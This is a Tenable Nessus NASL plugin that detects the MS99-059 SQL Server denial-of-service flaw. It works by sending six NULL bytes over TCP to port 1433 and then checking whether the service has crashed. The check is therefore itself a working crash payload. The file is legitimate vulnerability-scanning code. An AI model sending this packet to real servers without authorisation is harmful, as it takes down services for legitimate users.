MS99-059: Microsoft SQL Server Crafted TCP Packet Remote DoS (uncredentialed check)

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(10145);
  script_version("1.32");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/04/11");

  script_cve_id("CVE-1999-0999");
  script_bugtraq_id(817);
  script_xref(name:"MSKB", value:"248749");
  script_xref(name:"MSFT", value:"MS99-059");

  script_name(english:"MS99-059: Microsoft SQL Server Crafted TCP Packet Remote DoS (uncredentialed check)");

  script_set_attribute(attribute:"synopsis", value:
"The remote database server is affected by a remote denial of service
vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Microsoft SQL server can be shut down when it is
sent a TCP packet containing more than 2 NULLs.

An attacker may use this problem to prevent it from being used by 
legitimate clients, thus threatening your business.");
  script_set_attribute(attribute:"see_also", value:"https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/1999/ms99-059");
  script_set_attribute(attribute:"see_also", value:"http://support.microsoft.com/default.aspx?scid=kb;[LN];Q248749");
  script_set_attribute(attribute:"solution", value:
"Apply the bulletin referenced above.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_cwe_id(20);

  script_set_attribute(attribute:"vuln_publication_date", value:"1999/12/20");
  script_set_attribute(attribute:"plugin_publication_date", value:"1999/11/22");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:microsoft:sql_server");
  script_set_attribute(attribute:"thorough_tests", value:"true");
  script_end_attributes();

  script_category(ACT_DENIAL);
  script_family(english:"Databases");

  script_copyright(english:"This script is Copyright (C) 1999-2022 Tenable Network Security, Inc.");

  script_dependencies("mssqlserver_detect.nasl");
  script_require_ports("Services/mssql", 1433);

  exit(0);
}

#
# The script code starts here
#
include("global_settings.inc");
include("misc_func.inc");

port = get_service(svc:"mssql", default:1433, exit_on_fail:TRUE);

soc = open_sock_tcp(port);
if (!soc) exit(1, "Can't open socket on port "+port+".");

  data = raw_string(0x00, 0x00, 0x00, 0x00, 0x00, 0x00);
  send(socket:soc, data:data);
  close(soc);
  sleep(2);

if (service_is_dead(port:port) > 0)
{
  if (report_verbosity > 0)
  {
    version = get_kb_item("MSSQL/" + port + "/Version");
    instance = get_kb_item("MSSQL/" + port + "/InstanceName");
    if(!isnull(version) && !empty_or_null(instance))
    {
      report = '';
      if(version) report += '\n  SQL Server Version   : ' + version;
      if(!empty_or_null(instance)) report += '\n  SQL Server Instance  : ' + instance;

      security_warning(port:port, extra:report);
    }
  }
  else security_warning(port);
}